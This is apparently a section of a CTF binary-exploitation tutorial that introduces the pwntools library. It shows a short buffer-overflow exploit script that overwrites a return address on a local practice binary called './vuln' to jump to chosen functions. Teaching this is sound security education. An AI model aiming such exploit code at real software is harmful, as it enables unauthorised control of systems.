Pwntools¶
7. Using Pwntools to make life easy¶
Pwntools is a Python library for CTF-style Binary Exploitation. It helps with: - Packing/unpacking integers (addresses) in little-endian - Spawning processes or remote connections - Sending/receiving data - Automating exploit steps Example of the same exploit in pwntools-style:
from pwn import *
# Adjust context (arch, OS)
context.binary = "./vuln"
elf = context.binary
# Addresses from analysis:
offset = 40
reachMe = elf.symbols["reachMe"] # nice shortcut if symbols present
what = elf.symbols["what"] # newline/flush function
p = process(elf.path)
payload = b"A" * offset
payload += p64(reachMe)
payload += p64(what)
p.sendline(payload)
print(p.recvall().decode(errors="ignore"))
p64() packs a 64-bit address into the right little-endian bytes.